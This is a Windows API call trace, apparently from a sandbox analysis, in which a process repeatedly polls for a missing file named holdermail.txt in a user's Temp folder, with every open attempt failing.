	[0089.344] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.344] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.344] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.345] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.345] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.345] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.345] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.345] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.345] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.346] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.346] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.346] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.346] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.346] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.346] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.346] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.347] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.347] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.347] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.347] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.347] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.348] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.348] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.348] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.348] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.349] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.349] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.349] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.349] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.349] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.350] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.350] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.350] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.350] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.350] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.350] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.350] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.351] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.351] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.351] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.351] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.351] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.351] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.351] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.352] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.352] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.352] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.352] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.352] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.353] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.353] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.353] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.354] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.354] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.354] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.354] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.354] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.354] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.355] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.355] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.355] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.355] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.355] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.355] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.355] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.356] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.356] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.356] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.357] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.357] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.357] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.357] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.358] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.358] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.358] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.358] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.358] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.358] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.358] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
